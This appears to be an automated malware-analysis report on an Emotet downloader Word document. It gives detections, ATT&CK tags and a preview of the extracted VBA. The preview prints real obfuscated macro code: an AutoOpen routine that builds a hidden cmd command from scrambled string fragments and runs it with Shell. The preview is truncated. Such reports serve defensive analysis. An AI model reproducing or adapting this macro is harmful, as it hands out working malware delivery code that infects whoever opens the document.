MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6776349-0, indicating it is likely part of the Emotet family. The presence of an AutoOpen VBA macro, detected by multiple heuristics, suggests the document will execute malicious code upon opening. The VBA script attempts to construct a command string and execute it using the Shell function, likely to download and run a secondary payload.
Heuristics 5
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ClamAV: Doc.Downloader.Emotet-6776349-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6776349-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 30974 bytes |
SHA-256: 2e5e707d1154c8fdf840af75dd9f270150ff4c021f2677aea18e085fa57cb8ab |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "mGdSmnqnOajOVF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
FdFtVI = 1
OcjKn = Cos(5735 - QLLCU / 10359 + BhnzC)
FfnDw = Fix(8576)
wvoUR = 6
PUidPQwCYX = "" + YBOnrvaJAA + JlsXTKEwAGt + CVar("cm") + IwaQSuYdqnAF + FGdzCbNwrN + IEKVRFJhtH + ajStp + DWRVcnbi + qjqhnYbWMNi + KhbhBLV + ibGFUSV + AuZUjdY + vIsES + sfKniWAhZW + pXiYLNqdR + RImhHujfbuO + CbKZN + nEirXqhkiNI + dzQzEHobo + rVnTqSit + ZvRwskhOYG + MqztAolP + mFpSwda + flbCIXXCi + OcjoaqFior + WVdNQjFdnB + cdQXXDW + uwBBBIqAWt + ZlJtMAoJ + ZzkMQ + RzmGJOHA + kbRwUSKJY + HLTJXirjsvS + zEZirNpJs + uizjWGhWjP + pmciTwPjw + XBJabb + FzoqT + oCaAnoLXcE + qXzMH + QFwFnnqqSHz + XWFdzMRNiiQ + ZjfwfzsAVFI + jwAthFw + zrRCnwrWJ
VMHNt = 495579077
Shell@ PUidPQwCYX, 0
oVVsaN = IGkPwi
End Sub
Attribute VB_Name = "tVFzKwwwIQX"
Function IEKVRFJhtH()
On Error Resume Next
tDCUZE = ChrB(2)
WXFuFi = ChrB(30533 * KQiii)
iZVKUX = "d " + " /" + "c " + " " + " " + " c"
LKAJBJ = chOMLs
iFbijW = Cos(9)
pNwqcv = 6830
OLNWuaXDtnl = "M" + "D " + " /v:On/C" + CStr(Chr(FkOnhrsdj + sdNfzZP + 34 + wkCIrtMu + LkUjVjwfBBczo)) + "s" + "eT"
MHJPD = Rnd(vNacM)
EJiRp = hpPzP
JXRwluwPAZ = " $?,=" + "\\\" + "//_/-__"
ZfOGm = Hex(80)
vFwOOt = "--/" + "_\ -" + "_/\_-/" + "-\\" + "\-/__ /"
EiPGVE = "\\\--_" + "/-__/_-\"
kTjlBB = CTjnHB
SjaPYz = Round(tijHV)
rakMmCY = " /_-\" + "-" + "-" + "\_/-" + "_\"
aaXEY = 414534674
wLnrTPczzZX = "/_\ -/" + "__\_" + "/-\/--" + "_\\ _\-_\" + "\_" + "-_////-\ "
ATjifYsizEn = "\//_/\_-_" + "\\-" + "-_- -\\" + "\-"
IEKVRFJhtH = iZVKUX + OLNWuaXDtnl + JXRwluwPAZ + vFwOOt + EiPGVE + rakMmCY + wLnrTPczzZX + ATjifYsizEn
TjLMj = tOBHjv
Mkztj = Oct(dGjMkc)
AaCcZ = Chr(Etfwq)
End Function
Function ajStp()
On Error Resume Next
GNzQw = Tan(834)
wQrwqtHnbzQ = "//__--_/" + "\_ " + "\/-_/" + "-\-\\__/"
STqKwG = "/- \-_\-/" + "\\-__//-" + "/ _\\" + "_-\_\" + "/-/-_/- _/"
vwqEfh = Oct(zOtrIn - zuFAJ)
BwpjwZ = CByte(PWiWh + EODKwE + NSzLL - nRwZAu)
ESptiDkwC = "_/\\-\-\-_" + "_/-" + " "
Crmoi = "/" + "/\__--_" + "\-/" + "/-_\ " + "_/-\_/_\\" + "_-\--/ /"
HWVjXAaz = "/\\-_/-_/" + "\\__- -" + "/_\_/\/--" + "_-\\_ " + "_-" + "\\"
wiVLlj = Oct(3363)
dmimi = "/__-_\-/" + "-/" + "\ /__"
bvrIRM = 8
krzOtvJP = "//\\"
ajStp = wQrwqtHnbzQ + STqKwG + ESptiDkwC + Crmoi + HWVjXAaz + dmimi + krzOtvJP
jRLQNv = 2027
iwjmaS = Atn(rLSMzR)
jQEFT = CInt(4597 / mSDUAk / 53867 + MzMjT)
End Function
Function DWRVcnbi()
On Error Resume Next
qTmwRA = Sin(zbkjm / 88759 / pDskV + QwBlj)
dliZiSPUF = "/_\\_---}"
IGjHIcnNk = "/-_" + "\-/_/-\\"
KhAzGEhvizH = "-_\_}/_-_\" + "\__-\//--/" + "{/" + "-\-_/_\" + "_/_-" + "\\/h\\_/" + "_/-//_\-\-"
tIzPh = ChrW(408363588)
HwjTp = Fix(152594820)
KduvVvjnMW = "_c\__\_/"
BPJwH = 70
EQwQiv = CSng(vVnuin)
pitwH = CByte(IGjrFR)
TSIudpqO = "\/--_/\-/t"
LtmwpA = jMjbHh
NBarAKz = "-_\\-_/\/_"
SKSodzJ = "-_-//a/" + "/" + "-__\\" + "-__/\--\c"
iOLLEL = CInt(73950 - GzbzF)
vjlSw = Rnd(4642)
smiNdVDdQ = "--/--" + "_\_" + "\_//_\/}\" + "\/-//_"
PEZjH = CDbl(50065 - rfPDji * XYZbVK + JdzDr)
DoMEzT = CDate(75)
LihUVs = "\/--_\-" + "_" + ";\" + "\/-/_"
jPsFID = 340805908
HjtYmW = Cos(56312 * wVroiu)
bjPczw = CStr(lCwjNk - pRIKO + 32230 * iWzcIF)
jdFBHqF = "\/-_/__-\k" + "\/_-" + "\/" + "--" + "___\" + "\-/a/_\__-"
DWRVcnbi = dliZiSPUF + IGjHIcnNk + KhAzGEhvizH + KduvVvjnMW + TSIudpqO + NBarAKz + SKSodzJ + smiNdVDdQ + LihUVs + jdFBHqF
uwJRz = CBool(qYLWio)
End Function
Function qjqhnYbWMNi()
On Error Resume Next
IsHfm = ChrB(27469 - rliYsN)
FcAiV = 38
tJzoHJd = "-/\_-\/" + "\/e/" + "\" + "-\_\//\"
ILIYLVf = "_-/-_-r_" + "_/" + "\--"
IqCzb = Int(157942624)
ujbXGGzI = "_" + "\\\/--//b/" + "-" + "--_\_/\_\_" + "//-;\_/\" + "/_/\-/-\_-" + "-
... (truncated)
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